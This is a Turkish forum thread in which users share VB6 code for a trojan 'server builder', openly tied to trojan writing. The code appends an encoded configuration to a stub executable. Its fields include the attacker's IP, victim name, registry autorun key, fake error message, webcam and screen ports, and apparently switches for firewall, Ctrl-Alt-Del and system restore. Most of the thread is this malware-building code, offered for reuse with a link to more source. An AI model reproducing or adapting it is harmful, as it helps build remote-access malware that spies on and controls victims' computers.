Forum
Aktif konular
Üyeler
Kurallar
Arama
Tahribat.com Forumları 
C#, Asp.Net, .Net Core 
Bir Dosyanın Belirli Kriterlere Gore Yeniden Derlenmesini Sağlamak ( Trojanladaki Server Olayı Gibi) Bir Dosyanın Belirli Kriterlere Gore Yeniden Derlenmesini Sağlamak ( Trojanladaki Server Olayı Gibi)
-
evet arkadaşlar vb.net ile bunu nasıl yapabiliriz burlarda illaki trojan yazan birileri vardır anlatırsa sevinirim... sizi temin ederim son derece masum bir projem var onun için kullanacağım :)
-
Hoca bende benzer bi konu açmıştım olayın mantığı Resurce dosyasına string yazma/değiştirme.
Sana VB6.0 kodlarını yazıyorum VB.NET te çalışmaz bu haliyle sanırım ama fikri verir en azından.
Bu kodlar Who adlı müridin bir projesinden alıntıdır.
=============Who server oluşturma kodları===============================
seçilendosya = "server.exe"
If (VBGetSaveFileName(seçilendosya, , , "exe files (*.exe)", , , , "", Me.hwnd)) Then
servereditorbar.Max = 100
servereditorbar.Value = 0
Dim kayit(15) As String
kayit(1) = XORSifrele(pwdversion, servereditortxt(0).Text) 'ipadresi
kayit(2) = XORSifrele(pwdversion, servereditortxt(8).Text) 'victimname
kayit(3) = XORSifrele(pwdversion, servereditortxt(7).Text) 'delay
kayit(4) = XORSifrele(pwdversion, servereditortxt(5).Text) 'registry key
kayit(5) = XORSifrele(pwdversion, servereditortxt(6).Text) 'registry value
servereditorbar.Value = 10
kayit(6) = XORSifrele(pwdversion, servereditorchc(0).Value) 'mesajgöster
kayit(7) = XORSifrele(pwdversion, servereditortxt(10).Text) 'mesajbaslik
kayit(8) = XORSifrele(pwdversion, servereditortxt(9).Text) 'mesajmetni
kayit(9) = XORSifrele(pwdversion, servereditorfakemsjsimgesi) ' mesaj simgesi
kayit(10) = XORSifrele(pwdversion, servereditortxt(1).Text) 'connection port
kayit(11) = XORSifrele(pwdversion, servereditortxt(2).Text) 'transfer port
kayit(12) = XORSifrele(pwdversion, servereditortxt(3).Text) 'screen port
kayit(13) = XORSifrele(pwdversion, servereditortxt(4).Text) 'webcam port
servereditorbar.Value = 30
kayit(14) = XORSifrele(pwdversion, servereditorinstallsi) 'installpath
kayit(15) = XORSifrele(pwdversion, servereditorservermodesi) 'server modu
Dim sayac2x
Dim veri2x As String
bilgiler = ""
For sayac = 1 To 15
If Len(kayit(sayac)) < 101 Then
veri2x = String(100 - Len(kayit(sayac)), "#")
kayit(sayac) = kayit(sayac) & veri2x
End If
bilgiler = bilgiler & kayit(sayac) & vbCrLf
Next
If Dir(seçilendosya) <> "" Then Kill seçilendosya
servereditorbar.Value = 40
If Right(seçilendosya, 4) <> ".exe" Then seçilendosya = seçilendosya & ".exe"
servereditorbar.Value = 60
Dim resbytes() As Byte
resbytes = LoadResData(101, "CUSTOM")
Open seçilendosya For Binary As #1
Put #1, , resbytes
Put #1, , bilgiler
Close #1
servereditorbar.Value = 80
If (editoricon.ToolTipText <> "") And (Dir(editoricon.ToolTipText) <> "") Then
hk 433
On Error GoTo Error
Call InsertIcons(editoricon.ToolTipText, seçilendosya)
Call InsertIcons(editoricon.ToolTipText, seçilendosya)
hk 434
GoTo tamam
Error:
hk 435
End If
tamam:
hk 436
End If
--------------------------------------------------------- -
ya benim yapmak istediğim sadece bir değişkenin değeriyle oynamak :D bu kadar uzun mu yav ? :D kısa bi yolu olmaı :D bi değişken sadece :)
hem orda xor sifrelemi ne o fonksiyonun kendisi de yok :D
-
delphi olsaydı kısaydı :))
-
karakutu bunu yazdı:
-----------------------------
delphi olsaydı kısaydı :))
-----------------------------
hertürlü programı düzenleyebilir mi yoksa duzenlencek seyin de illa delphi mi olması alzım :) gerekmezse duzenleyiciyi delphi den yazmaya calısırım :) -
Hoca senin XORSifrele kullanman gerekmez ki :) O arkadaş şifreli olarak saklıyormuş sen normal kullan
+
Sen sadece bir değişken istiyorsan o satırlardan sadece birini kullanacaksın demektir....
-
Dengbej bunu yazdı:
-----------------------------
Hoca senin XORSifrele kullanman gerekmez ki :) O arkadaş şifreli olarak saklıyormuş sen normal kullan
+
Sen sadece bir değişken istiyorsan o satırlardan sadece birini kullanacaksın demektir....
-----------------------------
değişken hangi satırdaysa one gore ayarlıcaz ole mi? -
Bendede vb6 var. İşini yarar belki :)
Private Sub olustur(Zimbirti As String)
On Error Resume Next
Dim Buffer() As Byte
Buffer = LoadResData(101, "CUSTOM") ' Server icin buffer olusturuluyor. (stub dosyasını res editor ile 101 e koyuyorsun)
Open Zimbirti For Binary As #1 'Server acildi
Put #1, , Buffer()
Close #1
Dim options As String * 100
options = Text1.Text & "#" & Text2.Text & "#" & kopya.Text & "#" & Text3.Text & "#" & Text4.Text & "#" & firewal.Text & "#" & ctrlaltdelete.Text & "#" & restoree.Text & "#" 'Veriler atanıyor
Open Zimbirti For Binary As #1 ' Exe ye yaziliyor.
Put #1, LOF(1) + 1, options ' atanan veriler yazdırılıyor
Close #1
Exit Sub
End SubKullanımı:
olustur (App.Path & "\" & app.path & ".exe")Server verileri okurken :
Dim options As String * 100
Dim Data() As String
Open (App.path & "\" & App.EXEName & ".exe") For Binary As #1 'aciyoruz
Get #1, LOF(1) - 99, options 'options verilerin aliyoruz
Data() = Split(options, "#") ' # karakterini kullanarak verileri ayikliyoruz
Text2.Text = Data(0) ' email
Text7.Text = Data(1) ' logaralik
Text6.Text = Data(2) ' kopya
Text11.Text = Data(3) ' baslangic
Text12.Text = Data(4) ' program
Text8.Text = Data(5) ' firewal
Text9.Text = Data(6) ' ctrlaltdel
Text10.Text = Data(7) ' restore
Close #1 -
Blitz bunu yazdı:
-----------------------------
karakutu bunu yazdı:
-----------------------------
delphi olsaydı kısaydı :))
-----------------------------
hertürlü programı düzenleyebilir mi yoksa duzenlencek seyin de illa delphi mi olması alzım :) gerekmezse duzenleyiciyi delphi den yazmaya calısırım :)
-----------------------------Yaa özür dilerim aklım benim konuya gitti.
Benim dediğim bir exe den diğer bir exe ye post yollamak bir nevi editör. dur kaynak kodlarınıda vereyim
http://www.cemiyetmikrobu.com/edit.rar kaynak kodu ve uygulamalı bir şekilde içinde.
Kısayol
Şikayet
Özel Mesaj
Alıntı yap
Cevapla